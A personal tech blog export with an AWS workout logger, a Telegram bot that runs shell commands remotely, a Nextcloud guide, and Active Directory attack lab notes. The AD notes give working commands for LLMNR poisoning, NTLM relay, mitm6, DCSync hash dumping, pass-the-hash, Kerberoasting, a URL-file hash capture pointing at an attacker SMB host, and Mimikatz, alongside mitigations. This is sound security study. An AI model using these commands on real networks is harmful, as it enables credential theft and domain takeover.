[{"content":"\n","date":"March 28, 2026","externalUrl":null,"permalink":"/blog/posts/","section":"Blog Posts","summary":"","title":"Blog Posts","type":"posts"},{"content":"","date":"March 28, 2026","externalUrl":null,"permalink":"/blog/","section":"Home","summary":"","title":"Home","type":"page"},{"content":"Recently, I’ve been looking for AWS project ideas to complement my studying for the Solutions Architect and to polish my resume, but didn’t want to do a generic one for once, I wanted to build a solution that would actually solve a personal problem, or at least bring a quality of life improvement.\nI found this seemingly simple project of a serverless CRUD API using the following services :\nAPI Gateway for routing and request handling Lambda for serverless compute DynamoDB for NoSQL storage They suggested some use cases, and one of them was a workout logger.\nThat’s when I thought : “That’s exactly what I need, a place to log and track my training performance.”\nEspecially now that I picked up powerlifting, a sport that requires proper programming and load optimization for long term progress.\nFor those who don’t know, powerlifting is a sport that consists of three attempts at maximal weight on three lifts: squat, bench press, and deadlift.\nI started by designing the following pipeline :\nThis pipeline will cost you nothing (~$0/month) at low volume.\nLet’s build. # First, create a DynamoDB table with on-demand billing (pay-per-request).\nAs I will log a maximum of around 50 sets a week, it will essentially cost $0 at this scale.\nAfter creation, I added a Global Secondary Index (GSI), it’s a secondary index that allows to query a table using a different partition key and sort key from the ones defined on the base table, the main table is partitioned by block, you can think of a block as a training phase of 4 to 12 weeks.\nWhat this GSI will allow me to do is to query the table using another attribute, in this case I chose the date.\nNext, create the Lambda Python function, for the handler code I added helpers that will take care of integrating all the constraints and specifications that I already had in my existing program sheet (type of exercise, number of sets, reps, RPE, notes…).\nThe handler receives the sets via API Gateway, validates them and writes them to DynamoDB using batch writer + helpers.\nNow that it is created and deployed, update the auto-generated Lambda execution role by attaching the AmazonDynamoDBFullAccess policy to grant the function permission to interact with DynamoDB .\nWithout it, Lambda can’t write our entries to DynamoDB.\nNote : If you want to be more granular with your permissions for tighter security, you can replace the full access policy with a more restrictive one that only allows writing (e.g. BatchWriteItem).\nFor the API Gateway, create a REST API, with a /workout resource, and a POST method, which is what will be used by the Google Sheets script to send data to the pipeline.\nFor the integration type, select the Lambda function created earlier and enable Lambda proxy integration.\nLambda proxy integration passes the raw HTTP request to Lambda, and Lambda will return a response to the Gateway (e.g. status code, headers, body…)\nDeploy the API for the first time, select New Stage, and name it (e.g. prod).\nNote the Invoke URL, it should look something like this:\nhttps://\u0026lt;api-id\u0026gt;.execute-api.\u0026lt;region\u0026gt;.amazonaws.com/prod Let’s add API key authentication. Create a key and save the secret value for later. Go to usage plans, create a new one, name it and add the stage you deployed, then go to Associated API keys and add the API key.\nGo back to the POST /workout method request settings and check API Key Required, save and re-deploy the API selecting the same stage as earlier.\nBefore proceeding to the next step, you can use curl to test if everything is working so far.\nCraft a request, Here is the one I used as a reference :\ncurl -X POST https://\u0026lt;api-id\u0026gt;.execute-api.\u0026lt;region\u0026gt;.amazonaws.com/prod/workout \\ -H \u0026#34;x-api-key: \u0026lt;your-api-key\u0026gt;\u0026#34; \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{ data here }\u0026#39; Examine the curl response, as well as check that the item has been added to the DynamoDB table.\nFinally, to integrate Sheets into the pipeline, I had Claude write a simple Google Apps Script bound to the sheet.\nGoogle Apps Script is a JavaScript-based platform built into Google Workspace that lets you automate and extend Google products like Sheets, Docs, and Gmail.\nIt adds a custom menu directly in the UI, with two main options: log workout and clear already-logged rows.\nWhen logging, the script reads the filled rows, packages them into a request, and sends them to API Gateway.\nRows that are successfully submitted turn green, making it easy to know what’s been recorded.\nCongratulations, the pipeline is now complete!\nWhat’s next ? # Once you have accumulated enough data, the real value of storing it in DynamoDB becomes apparent. It can be scanned and loaded using pandas (Python library) for analysis, no more spreadsheet formula headaches.\nWith data analysis, you’ll be able to track metrics and detect trends.\nFor example, here is a simple plot of my topsets load over 2 blocks of training :\nFeel free to drop any questions or feedback in the comments, and thanks for reading.\n","date":"March 28, 2026","externalUrl":null,"permalink":"/blog/posts/workout_logger/","section":"Blog Posts","summary":"","title":"Your Gym Notebook Is Dead : Build an Automated Workout Logger with AWS","type":"posts"},{"content":" \u0026ldquo;الحاجة أم الاختراع\u0026rdquo; # This arabic proverb literally translates to :\nNecessity is the mother of invention # And it captures exactly why I am writing this blog.\nI needed a way to remotely manage my homelab server, which which runs on an old laptop I no longer use, without connecting to it via SSH every time.\nSo I thought to myself, is there a way to create a “mobile SSH” interface?\nI previously experimented with OpenClaw/Clawdbot, an AI agent capable of interacting with an entire OS as if it were running inside it.\nWhat stood out to me was how naturally you could communicate with the agent, simply by sending messages via WhatsApp, Telegram or Discord, as if you were texting a friend.\nWhy not use the same approach to send commands to my server?\nFor this project, I chose Telegram because it is straightforward to implement and integrates easily with bots.\nFirst, install Telegram on your phone, set up your account, then click on the New Message icon and search for BotFather : Run /newbot :\nSet your bot name and username (username has to end in bot) :\nYou will get a message link for your bot as well as the API token, make sure to store the token securely, as we will need it in the next steps. Now search for userinfobot and run /start, it will return your user ID, note it down for later. SSH into your server, and install python (if you dont have it already), and the Telegram bot library : sudo apt update sudo apt install python3 python3-pip -y pip3 install python-telegram-bot Note : If you get the following error when trying to install the library\nRun : (system-wide package install but no headaches)\nsudo apt install python3-python-telegram-bot Create bot.py in the directory of your choosing and copy-paste the following python code : # cd ... nano bot.py # bot.py import os import asyncio from subprocess import Popen, PIPE from telegram import Update from telegram.ext import ApplicationBuilder, CommandHandler, MessageHandler, filters, ContextTypes TOKEN = \u0026#34;YOUR_BOT_TOKEN\u0026#34; # TO REPLACE WITH YOUR OWN AUTHORIZED_USER = 123456789 # TO REPLACE WITH YOUR OWN sessions = {} # chat_id -\u0026gt; {\u0026#34;proc\u0026#34;: Popen, \u0026#34;cwd\u0026#34;: str} # Helper to run a command in the persistent session def run_command(chat_id, command): sess = sessions.get(chat_id) if not sess: return \u0026#34;(no active shell session)\u0026#34; cwd = sess[\u0026#34;cwd\u0026#34;] # Handle \u0026#39;cd\u0026#39; specially if command.startswith(\u0026#34;cd \u0026#34;): path = command[3:].strip() new_dir = os.path.abspath(os.path.join(cwd, path)) if os.path.isdir(new_dir): sess[\u0026#34;cwd\u0026#34;] = new_dir return f\u0026#34;Changed directory to: {new_dir}\u0026#34; else: return f\u0026#34;No such directory: {path}\u0026#34; # Run other commands proc = Popen(command, shell=True, stdout=PIPE, stderr=PIPE, cwd=cwd) stdout, stderr = proc.communicate(timeout=30) # avoid hanging commands max 30s output = (stdout + stderr).decode(errors=\u0026#34;replace\u0026#34;).strip() return output or \u0026#34;(no output)\u0026#34; async def new_shell(update: Update, context: ContextTypes.DEFAULT_TYPE): if update.effective_user.id != AUTHORIZED_USER: return chat_id = update.effective_chat.id if chat_id in sessions: await update.message.reply_text(\u0026#34;Shell already running. Use /close first.\u0026#34;) return # Start session in home directory sessions[chat_id] = {\u0026#34;proc\u0026#34;: None, \u0026#34;cwd\u0026#34;: os.path.expanduser(\u0026#34;~\u0026#34;)} await update.message.reply_text(f\u0026#34;New shell started in {sessions[chat_id][\u0026#39;cwd\u0026#39;]}\u0026#34;) async def close_shell(update: Update, context: ContextTypes.DEFAULT_TYPE): if update.effective_user.id != AUTHORIZED_USER: return chat_id = update.effective_chat.id if chat_id not in sessions: await update.message.reply_text(\u0026#34;No active shell.\u0026#34;) return sessions.pop(chat_id) await update.message.reply_text(\u0026#34;Shell closed.\u0026#34;) async def handle_text(update: Update, context: ContextTypes.DEFAULT_TYPE): if update.effective_user.id != AUTHORIZED_USER: return chat_id = update.effective_chat.id if chat_id not in sessions: await update.message.reply_text(\u0026#34;No shell session. Use /new to start one.\u0026#34;) return command = update.message.text # Run the command try: output = await asyncio.to_thread(run_command, chat_id, command) except Exception as e: output = f\u0026#34;Error: {e}\u0026#34; # Telegram limit ~4000 chars for i in range(0, len(output), 4000): await update.message.reply_text(output[i:i+4000]) def main(): app = ApplicationBuilder().token(TOKEN).build() app.add_handler(CommandHandler(\u0026#34;new\u0026#34;, new_shell)) app.add_handler(CommandHandler(\u0026#34;close\u0026#34;, close_shell)) app.add_handler(MessageHandler(filters.TEXT \u0026amp; (~filters.COMMAND), handle_text)) app.run_polling() if __name__ == \u0026#34;__main__\u0026#34;: main() I prompted an LLM for this script, you can use mines or make your own depending on your needs, just make sure to add your own credentials (API Token + Telegram User ID) in the TOKEN and AUTHORIZED_USER variables respectively.\nWith this script, the bot creates a persistent shell on the server controlled from the chat.\n/new starts a minimal bash shell in a pseudo-terminal.\n/close terminates it.\nAny plain message is sent as a command to the shell. The output from the shell is captured, ANSI/terminal sequences are stripped, and the clean result is sent back by the bot.\nTo test if it\u0026rsquo;s working, run : python3 bot.py Go back to BotFather chat and click on the bot chat link if you haven\u0026rsquo;t yet started a chat with your bot (t.me/bot_username)\nSend /new.\nThen, test some commands and view their output.\nUse /close to terminate the session.\nYou should get something like this :\nNow let\u0026rsquo;s make a persistent service that starts automatically on boot, and restarts if it crashes : Create the service file :\nsudo nano /etc/systemd/system/telegram-bot.service Copy-paste the following config :\n[Unit] Description=Telegram Server Bot After=network.target [Service] ExecStart=/usr/bin/python3 /cmd-bot/bot.py # \u0026lt;- Replace this with the directory you have your bot.py in Restart=always [Install] WantedBy=multi-user.target Save and exit.\nNext, reload systemd :\nsudo systemctl daemon-reexec sudo systemctl daemon-reload Enable the service to start at boot :\nsudo systemctl enable telegram-bot Start the service :\nsudo systemctl start telegram-bot And that is it, you are all set now.\nFeel free to tweak the script depending on your needs, adding or restricting features as you like.\nThank you for reading!\n","date":"March 8, 2026","externalUrl":null,"permalink":"/blog/posts/telegram_cmd/","section":"Blog Posts","summary":"","title":"5 Minute Project : Remote CMD For Your Home Lab Using Telegram","type":"posts"},{"content":"In this article, I will guide you through building your own home cloud storage using Nextcloud.\nNote : This method is by no means the only way to set up a home storage, this article documents how I did it.\nBefore we start, we need a couple things:\nA spare PC/laptop (server) Your main PC/laptop (for configuration) A domain name (optional, only if you want remote access outside your home network) 1. Install and configure Ubuntu server # Ubuntu Server official install documentation : https://ubuntu.com/tutorials/install-ubuntu-server#1-overview\nAfter installation, configure Internet access :\nWi-Fi : See right below for the setup. Ethernet : Plug in an ethernet cable if you have your router nearby (I don’t), in most cases, you won’t need to set up anything else. Additionally, you will need to set a static local IPv4 address for your server, here is a guide demonstrating how :\nhttps://gal.vin/posts/2023/ubuntu-static-ip/ (the yaml config in the guide is for an ethernet connection).\nIf you want to connect to a Wi-Fi network :\nI shared a sample config file that I worked with in the github repo of this project : https://github.com/YounesCodes/nextcloud-home-server\nAfter you follow the steps in the first link and replace values in config file accordingly, you will have set up both the connection to Wi-Fi AND assigning a static IP to your server, two birds with one stone, cool :).\nRun an ifconfig/ip a to check if static IP is assigned, and ping google.com for example to check for connectivity.\nRun this command to update packages :\nsudo apt update \u0026amp;\u0026amp; sudo apt upgrade To manage the server efficiently, connect via ssh from your main laptop. This allows you to copy-paste commands directly and follow the guide side-by-side.\nBefore moving to Nextcloud setup, we must configure the firewall. On a fresh Ubuntu server install, the firewall is usually inactive. We need to define allow rules before turning it on.\nRun these commands in order:\n# ssh - port 22 sudo ufw allow ssh # local web traffic - ports 80 and 443 sudo ufw allow http sudo ufw allow https # enabling firewall sudo ufw enable Note: You must open these ports now so your main laptop can reach the Nextcloud web interface for the initial setup. If you later decide to configure the Cloudflare Tunnel for remote access, you can choose to close ports 80 and 443 for maximum security, ssh must remain accessible on the local network. Do not expose it publicly unless required.\n2. Install Nextcloud # I chose a snap installation (easiest to set up), you can go for that or the docker image option. I will only cover the snap installation process.\nRun this command to install nextcloud :\nsudo snap install nextcloud After it finishes, nextcloud service will start automatically.\nNext, visit the IP address of your server on your main laptop’s browser, the first time, you will be prompted to enter an admin username and password before Nextcloud is initialized.\nIt may take a while depending on the device performance and internet speed.\nIt should look something like this :\nNextcloud will continue installing and configuring for some time (again depends on your device/internet), then it will prompt you to install recommended apps (calendar, contacts…).\nI recommend you skip on that unless you’ll need them for your use case, storage is a native functionality of NextCloud anyways, so no need for additional apps.\nYou can always install them later if you wish.\nOnce that the setup is done, you will be redirected to the dashboard, it will look something like this :\nLet’s upload a file to test out the service, from the files section, click on new → Upload files, then choose the file you wish to upload :\nAnd voila, you have successfully uploaded your first file on your local storage!\nCongratulations, you now have a fully operational local storage server, if you wish to stop here without setting up remote access, that is totally fine.\nIf not, let’s continue.\n3. Remote access # In this section, we will configure a Cloudflare Tunnel to make our home server accessible from outside our network.\nFirst step is to acquire a domain, there are many sites where you can purchase one for very cheap, I got one for $1/year on Namecheap, so I recommend that.\nNext, go to https://dash.cloudflare.com/, create an account, add your domain via the account home dashboard by clicking on ‘Onboard a domain’:\nEnter your domain name, leave everything else on default and click continue :\nSelect the free plan :\nFinally, skip adding DNS records by clicking on ‘Continue to activation’ :\nYou will be redirected to the last step of the setup, where you will have to copy the 2 nameservers Cloudflare provided, and add them to your domain custom DNS nameservers :\nIf you used Namecheap to purchase a domain, go to your dashboard, click on ‘Manage’ next to your domain, then scroll down until you see nameservers and change it to ‘custom DNS’ then paste the Cloudflare nameservers (Step 2\u0026rsquo;s DNSSEC is disabled by default on Namecheap) :\nAfter some time, Cloudflare will verify that you successfully added the nameservers and will activate the domain.\nWith that, Cloudflare will become the authoritative DNS, and traffic can be proxied and protected.\nBefore moving on to the tunnel, ensure that Cloudflare SSL/TLS mode is set to Full, if not click on Configure and change it (Full is required because Nextcloud Snap uses a self-signed certificate, Full (Strict) would require installing a valid origin certificate) :\nNow, let’s set up the tunnel, here is an overview of the architecture :\nInternet --\u0026gt; Cloudflare --\u0026gt; Tunnel --\u0026gt; localhost --\u0026gt; Nextcloud With this architecture, we will have no NAT or firewall issues.\nRun these commands to install Cloudflare Tunnel client on the ubuntu server (ssh connection recommended) :\nsudo apt update sudo apt install cloudflared Next, authenticate using :\ncloudflared tunnel login It will give you an URL to log in and download a certificate, copy and paste it on your browser :\nIn the browser page, authorize the tunnel for the domain you just configured :\nIf successful, you get this message :\nNow, let’s create the tunnel via the following command on the server :\ncloudflared tunnel create nextcloud Save the JSON credential file path that is outputted from this command, we will need it shortly after.\nEnable DNS binding (domain → tunnel) by running the following :\ncloudflared tunnel route dns nextcloud YOUR-DOMAIN.com Next, we have to create a tunnel YAML config file :\nsudo mkdir /etc/cloudflared # create directory if it doesn\u0026#39;t exist sudo nano /etc/cloudflared/config.yml Paste the following config and make sure you replace credentials file path and hostname with your own :\ntunnel: nextcloud credentials-file: \u0026lt;YOUR-CREDENTIALS-FILE-PATH\u0026gt; ingress: - hostname: YOUR-DOMAIN.com service: http://localhost - service: http_status:404 Following that, we must install cloudflared as a system service to have a persistent tunnel that auto-starts on boot :\nsudo cloudflared service install # then restart it sudo systemctl restart cloudflared Finally, onto the last touches, open the config.php for nextcloud :\nsudo nano /var/snap/nextcloud/current/nextcloud/config/config.php Find ‘trusted_domains’ and change its value to this :\n// ... \u0026#39;trusted_domains\u0026#39; =\u0026gt; array ( 0 =\u0026gt; \u0026#39;localhost\u0026#39;, 1 =\u0026gt; \u0026#39;YOUR-DOMAIN.com\u0026#39; ), // ... Below it add the following :\n// ... \u0026#39;trusted_proxies\u0026#39; =\u0026gt; array ( 0 =\u0026gt; \u0026#39;127.0.0.1\u0026#39;, ), \u0026#39;overwritehost\u0026#39; =\u0026gt; \u0026#39;YOUR-DOMAIN.com\u0026#39;, \u0026#39;overwriteprotocol\u0026#39; =\u0026gt; \u0026#39;https\u0026#39;, \u0026#39;overwrite.cli.url\u0026#39; =\u0026gt; \u0026#39;https://YOUR-DOMAIN.com\u0026#39;, // ... Make sure to replace ‘YOUR-DOMAIN.com’ with your own.\nRestart Nextcloud :\nsudo snap restart nextcloud And you are done!\nYou should be able to access your server now via the browser by typing in your domain.\nCongratulations! You have made your first step into homelabbing, you successfully implemented a secure remote access architecture, I hope you will enjoy it!\n4. What’s Next? # Now that your cloud is live, here are a few more things you can explore:\nMobile Sync: Download the Nextcloud app on your phone to upload your mobile data. Expansion: Look into Nextcloud apps to discover all the features it has to offer, we barely scratched the surface. The only limit is your creativity. Building a homelab is a journey of continuous learning. If you ran into issues or made cool modifications/additions, feel free to share them in the responses below!\nHappy hosting!\n","date":"January 2, 2026","externalUrl":null,"permalink":"/blog/posts/nextcloud_project/","section":"Blog Posts","summary":"","title":"How I Built My Own Home Cloud Storage With NextCloud","type":"posts"},{"content":" What is AD? # Directory service developed by Microsoft to manage Windows domain networks, stores info related to objects, such as Computers, Users, Printers\u0026hellip;\nAuthenticates using Kerberos tickets Physical AD Components # Domain Controller : is a server with the AD DS server role installed that has specifically been promoted to a domain controller\nHost a copy of AD DS directory store Provide authentication and authorization services Replicate updates to other DCs in domain and forest Allow administrative access to manage user accounts and network resources AD DS data store : contains the database files and processes that store and manage directory info for users, services and applications.\nConsists of the Ntds.dit file Is stored by default in %SystemRoot%\\NTDS folder on all domain controllers Is accessible only through domain controllers processes and protocols Logical AD Components # Domains : are used to group and manage objects in an organization\nAn administrative boundary for applying policies to groups of objects A replication boundary for replicating data between DCs An authentication and authorization boundary that provides a way to limit the scope of access to resources Trees : A domain tree is a hierarchy of domains in AD DS\nShare a contiguous namespace with the parent domain (contoso.com, emea.contoso.com, na.contoso.com) Can have additional child domains By default create a two-way transitive trust with other domains Forests : A forest is a collection of one or more domain trees, they :\nShare a common schema Share a common configuration pattern Share a common global catalog to enable searching Enable trusts between all domains in the forest Share the Entreprise Admins and Schema Admins groups Organizational Units (OUs) : Ous are AD containers that can contain users, groups, computers, and other OUs They are used to:\nRepresent your organization hierarchically and logically Manage a collection of objects in a consistent way Delegate permissions o administer groups of objects Apply policies Trusts : provide a mechanism for users to gain access to resources in another domain Directional : the trust direction flows from trusting domain to the trusted domain Transitive : the trust relationship is extended beyond a two-domain trust to include all other trusted domains\nAll domains in a forest trust all other domains in the forest Trusts can extend outside the forest Attacking Active Directory # This lab is structured as follows :\nOne Domain Controller : DC1\nTwo Windows 10 clients : client and client2\nTwo user accounts : younesb and petep\nOne service admin : SQLService\nOne user admin account : tstark\nInitial attack vectors # LLMNR Poisoning : # Link Local Multi-Cast Name Resolution, used to identify hosts when DNS fails to do so.\nPreviously NBT-NS (NetBios Name Service)\nKey flaw is that the services utilize a user\u0026rsquo;s username and NTLMv2 hash when appropriately responded to\nStep 1 : Run Responder on attacker via responder -I eth0 -dwv (Listening)\nStep 2 : An event occurs\u0026hellip; (Example : someone typed a wrong network drive, here we simulate it by trying to access //mistake)\nStep 3 : Get the hash\nStep 4 : Crack the hash using hashcat\nMitigation? Best defense is disabling LLMNR and NBT-NS\nTurn OFF Multicast Name Resolution under Local Computer Policy \u0026gt; Computer Configuration \u0026gt; Administrative Templates \u0026gt; Network \u0026gt; DNS Client in group policy editor\nFor NBT-NS : Network Connections \u0026gt; Network Adapter Properties \u0026gt; TCP/IPv4 Properties \u0026gt; Advanced \u0026gt; WINS tab \u0026gt; Select Disable NetBIOS over TCP/IP\nIf company must use or can\u0026rsquo;t disable them :\nRequire Network Access Control\nRequire strong user passwords (\u0026gt;14 characters + limit common word usage). The more complex and long the password is, the harder it is to crack the hash.\nSMB Relay : # Instead of cracking hashes gathered with Responder, we can instead relay those hashes to specific machines and potentially gain access\nRequirements : SMB signing must be disabled on the target ; Relayed user credentials must be admin on machine\nStep 1: nano /usr/share/responder/Responder.conf and turn off SMB and HTTP\nBy default, Responder will happily answer SMB/HTTP requests itself.\nBut for an SMB relay attack, we want Responder to collect and pass NTLM auth to ntlmrelayx instead of grabbing hashes.\nStep 2 : Run Responder responder -I eth0\nStep 3 : Set up the relay using impacket-ntlmrelayx -tf targets.txt -smb2support, where targets.txt must contain only the IP address of the machine you want to compromise (for example 192.168.1.51), while the other Windows client (192.168.1.50) will be the victim that gets poisoned by Responder and sends its authentication, but it does not go into the targets file; you can add -i to open an interactive SMB shell accessible through nc 127.0.0.1 11000, use -c to execute a single command on the target, or -e to upload and run a payload like meterpreter.\nStep 4 : Event occurs on .50 machine\u0026hellip; (Example : victim tries to access a network share that doesn’t exist)\nStep 5 : Congrats, in this case we dumped local sam hashes including local client2 account hash\nto check if smb signing is disabled - nmap --script=smb2-security-mode.nse -p445 192.168.1.0/24\nMitigation?\nEnable SMB signing on all devices, completely stops the attack but can cause performance issues with file copies\nDisable NTLM authentication on network, completely stops the attack but if Kerberos stops working, Windows defaults back to NTLM\nAccount tiering: limits domain admins to specific tasks (e.g. only log onto servers with need for DA), but enforcing that policy may be difficult\nLocal admin restriction: can prevent a lot of lateral movement, but can potentially increase the amount of service desk tickets\nGaining shell access : impacket-psexec 'homelab.local/petep:password1$@192.168.1.50' can do same with wmiexec or smbexec (half interactive shell use it to get meterpreter for example)\nIPv6 Attacks using mitm6 + ntlmrelayx.py # mitm6 is used to spoof IPv6 DNS and router advertisements, pushing a fake WPAD location.\nWindows clients, even if IPv4-only try to fetch wpad.dat. When they do, they send NTLM authentication to the attacker.\nntlmrelayx listens and relays those NTLM credentials to LDAPS on the domain controller. LDAPS is needed because LDAP signing is usually enforced (and for LDAPS, channel binding must not be enforced).\nATTACK FLOW:\nStep 1 : Start ntlmrelayx via : impacket-ntlmrelayx -6 -t ldaps://192.168.1.100 -wh fakewpad.homelab.local -l lootme\nStep 2 : Start mitm6 via mitm6 -d homelab.local\nStep 3 : An event occurs (trigger win10 machine rebooting), boom:\nWhen checking lootme directory:\nWe get a bunch of files containing information that can help us through our pentest, take for example domain_users_by_group.html :\nBingo, someone thought it was a good idea to write their password down in the account description\u0026hellip;\nAdditionnally, if we get an Administrator to log in into a client, ntlmrelayx can create a user account that is in the Entreprise Admins group :\nNext we will try to use impacket-secretsdump with the credentials of the newly created user as advised in the previous screenshot.\nIt is a tool for dumping password hashes, Kerberos tickets, and LSA secrets from Windows systems either remotely over SMB or from extracted registry hives (SAM, SYSTEM, SECURITY). It supports cleartext credentials when available, NTLM hashes, and can be used with passwords or pass-the-hash for authentication.\nUsage : impacket-secretsdump homelab/eghOfpExwq:'cFW,(qQ@H7^u5PV'@DC01.homelab.local -just-dc\nSuccess! We just dumped hashes of practically every user account on the network. These include Domain Admin, Administrator, krbtgt, service accounts, user accounts, and machine accounts.\nWith these credentials, we can perform Pass-the-Hash attacks and gain access to any machine or service that relies on NTLM authentication.\nKerberos keys are also available, which allow Pass-the-Key attacks and forged tickets without relying on NTLM.\nThe Administrator hash can be used for immediate remote code execution on the Domain Controller using Impacket tools like psexec, wmiexec, or smbexec.\nAt this stage, the domain is fully compromised, and we control authentication across the environment. This attack is called DCSync, it tricks a Domain Controller into thinking you are another DC, the DC then hands over credential material from the NTDS.dit.\nMitigation?\nIPv6 poisoning abuses the fact that Windows queries for an IPv6 address even in IPv4-only environments.\nIf you don’t use IPv6 internally, the safest way to prevent mitm6 is to block DHCPv6 traffic and incoming router advertisements in Windows Firewall via Group Policy.\nDisabling IPv6 entirely may have unwanted side effects. Setting the following predefined rules to Block instead of Allow prevents the attack from working:\n(Inbound) Core Networking – Dynamic Host Configuration Protocol for IPv6 (DHCPV6-In)\n(Inbound) Core Networking – Router Advertisement (ICMPv6-In)\n(Outbound) Core Networking – Dynamic Host Configuration Protocol for IPv6 (DHCPV6-Out)\nIf WPAD is not in use internally, disable it via Group Policy and by disabling the WinHttpAutoProxySvc service.\nRelaying to LDAP and LDAPS can only be mitigated by enabling both LDAP signing and LDAP channel binding.\nConsider Administrative users to the Protected Users group or marking them as Account is sensitive and cannot be delegated, which will prevent any impersonation of that user via delegation.\nPassback Attacks : https://www.mindpointgroup.com/blog/how-to-hack-through-a-pass-back-attack\nOther attack vectors # Strategies for a pentest engagement :\nBegin your day with mitm6 and responder.\nRun scans to generate traffic.\nIf scans are taking too long, look for websites in scope (try with metasploit http_version).\nLook for default credentials on web logins (Printers, Jenkins, etc).\nThink outside the box.\nPost-Compromise Enumeration # PowerView : https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1\nBloodhound : # BloodHound is a tool used to map and analyze Active Directory environments to identify privilege escalation paths. It consists of two main parts: SharpHound, which is the data collector that runs inside the Windows domain, and the BloodHound GUI, which is used on the attacker’s side to process and visualize the data. The purpose of BloodHound is to uncover relationships, hidden attack paths, and misconfigurations that can be abused to move laterally or escalate privileges.\nSharpHound is the component responsible for gathering information. It can be deployed as a script or executable on a Windows machine within the target domain. When executed, it collects a variety of Active Directory data such as user and group memberships, domain trusts, access control lists (ACLs), and session information like which users are logged into which machines. Once the collection is complete, SharpHound outputs the results into a zip file containing JSON data.\nThe typical workflow begins by getting SharpHound onto a Windows host within the domain :\nStep 1 : Bypass powershell execution policy : powershell -ep bypass\nStep 2 : Run either .ps1 script or .exe file\nStep 3 : Run this command : Invoke-BloodHound -CollectionMethod All -Domain homelab.local -OutputDirectory C:... -ZipFilename blood.zip\nAfter execution, the zip file generated must be exfiltrated back to the attacker’s machine. The attacker then imports this file into the BloodHound GUI, which parses the data and builds a graph-based view of the environment.\nThis graph makes it easier to visualize complex AD relationships and to spot potential attack paths such as a regular user account having indirect membership that leads to administrative privileges or misconfigured ACLs that allow privilege abuse.\nPre-made queries are helpful to map out the AD environment and help us gather more leads into our next steps. Some examples include :\nAll domain admins :\nShortest path to domain admin :\nAll kerberoastable users :\nBloodHound is powerful because it automates the mapping of large, complicated AD structures. It helps attackers identify paths that are not obvious by manual inspection, such as chained group memberships or cross-domain trusts.\nPost Compromise Attacks # All these attacks require some sort of credential to be effective.\nPass The Password/Pass The Hash : # If we crack a password/or can dump SAM hashes, we can leverage both for lateral movement in the network.\nCrackMapExec is a post-exploitation tool used for assessing Active Directory networks. It allows attackers to automate credential validation, command execution, enumeration, and lateral movement across Windows systems. Often described as a Swiss army knife for pentesting AD.\nPass The Password : crackmapexec smb \u0026lt;ip/CIDR\u0026gt; -u \u0026lt;user\u0026gt; -d \u0026lt;domain\u0026gt; -p \u0026lt;pass\u0026gt;\nWe can also dump SAM hashes :\nUsing impacket-secretsdump :\nAttempting to crack hashes using hashcat : hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt Result (cracked 2 out of 3 hashes, first is an empty password):\nPass The Hash : crackmapexec smb \u0026lt;ip/CIDR\u0026gt; -u \u0026lt;user\u0026gt; -H \u0026lt;hash\u0026gt; --local-auth\n(Green plus sign / pwned indicates good chance/successful attempt)\nAttempting to get a shell using psexec : (proof of concept)\nMitigation? Hard to completely prevent but we can make it more difficult on an attacker .\nLimit account re-use :\nAvoid re-using local admin password\nDisable Guest and Administrator accounts\nLimit who is a local administrator (least privilege)\nUtilize strong passwords :\nThe longer the better (\u0026gt;14 characters)\nAvoid using common words (I like long sentences)\nPrivilege Access Management (PAM) :\nCheck out/in sensitive accounts when needed\nAutomatically rotate passwords on check out and check in\nLimits pass attacks as hash/password is strong and constantly rotated\nToken Impersonation : # What are tokens?\nTemporary keys that allow you access to a system or network without having to provide credentials each time you access a file. Think of them like cookies for computers.\nTwo types:\nDelegate is created for logging into a machine or using Remote Desktop.\nImpersonate is non-interactive such as attaching a network drive or a domain logon script.\nToken impersonation with incognito :\nStep 1 : Run meterpreter session\nStep 2 : load incognito\nStep 3 : List available tokens\nStep 4 : Impersonate Administration token\nNote : you cannot run hashdump when impersonating administrator token, run rev2self\nWorks with other users tokens :\nMitigation?\nLimit user/group token creation permissions (doesn\u0026rsquo;t prevent it 100%) Account tiering Local admin restriction Kerberoasting : # TGT : ticket granting ticket\nTGS : ticket granting service ticket\nLet\u0026rsquo;s try it on our lab: impacket-GetUserSPNs homelab.local/petep:password1$ -dc-ip 192.168.1.100 -request\nThen we can attempt to crack it using hashcat : hashcat -m 13100 kerbhash.txt /usr/share/wordlists/rockyou.txt Mitigation?\nStrong passwords Least privilege GPP (Group Policy Preferences - MS14-025) : # Group Policy Preferences allowed admins to create policies using embedded credentials. These credentials were encrypted and placed in a cPassword. The key was accidentally released. It was patched in MS14-025, but the patch does not prevent previous uses.\nFor Practice : Active machine on HackTheBox\nURL File Attack : # A URL file attack works by creating a malicious internet shortcut file using something as simple as Notepad, where the .url file is crafted to include an IconFile path that points to a resource on the attacker’s machine, usually over SMB. Example:\n[InternetShortcut] URL=blah WorkingDirectory=blah IconFile=\\\\192.168.1.52\\%USERNAME%.icon IconIndex=0 The attacker places this \u0026ldquo;@xxxxxxx.url\u0026rdquo; file in a network share that the victim can access. When the victim browses the share, Windows automatically tries to retrieve the icon for the shortcut, which causes the victim’s system to reach out to the attacker’s machine specified in the IconFile path.\nOn the attacker side, Responder or a similar tool is running to capture the NTLM authentication attempt made by the victim’s machine. This results in the attacker obtaining the victim’s NTLMv2 hash, which can then be cracked offline or relayed, making it an easy but effective method of credential harvesting in Windows environments.\nMimikatz : An Overview # What is Mimikatz? :\nTool used to view and steal credentials, generate Kerberos tickets, and leverage attacks.\nDumps credentials stored in memory.\nWhat you can do with it : Credential Dumping, Pass-the-Hash, Over-Pass-the-Hash, Pass-the-Ticket, Golden Ticket, Silver Ticket\u0026hellip;\nFor this demo, we will assume we compromised the DC, and show what we can do once we compromised it (Persistence, Golden ticket\u0026hellip;.):\nWe start by launching mimikatz and typing privilege::debug , this is trying to enable the SeDebugPrivilege for the current process.\nThis Windows privilege lets a process open and interact with other processes, even those running as SYSTEM. Without it, Mimikatz can’t read the memory of LSASS or other protected processes where credentials and Kerberos tickets are stored.\nEnabling SeDebugPrivilege is basically step zero, because almost all of Mimikatz’s credential dumping and ticket extraction features require access to LSASS memory, and Windows normally restricts that to SYSTEM-level processes.\nIf privilege::debug fails, most of the powerful functions in Mimikatz won’t work.\nSome commands we can use :\nsekurlsa::logonpasswords : extracts credential material from the LSASS process on a Windows machine by reading its memory space where authentication information is stored. When executed, it can reveal plaintext passwords (wdigest), NTLM hashes, Kerberos tickets, and other authentication tokens for all logged-in users on the system.\nThis makes it one of the most powerful and commonly used functions in Mimikatz, since it directly provides the attacker with credentials that can be used for lateral movement, privilege 